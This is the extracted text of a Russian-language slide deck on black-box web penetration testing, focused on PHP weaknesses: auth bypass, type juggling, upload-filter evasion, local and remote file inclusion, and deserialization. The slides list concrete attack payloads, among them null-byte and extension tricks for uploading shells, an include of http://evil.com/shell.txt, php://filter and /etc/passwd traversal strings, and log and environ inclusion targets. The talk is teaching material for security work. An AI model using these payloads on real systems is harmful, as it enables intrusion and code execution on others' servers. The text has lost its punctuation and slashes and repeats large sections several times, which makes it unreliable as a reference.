размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Первые шаги
bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)
bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-
сервераbull Смотрим на HTTP-заголовки и содержимое
ответов
Главные идеи
bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)
bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Главные идеи
bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)
bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
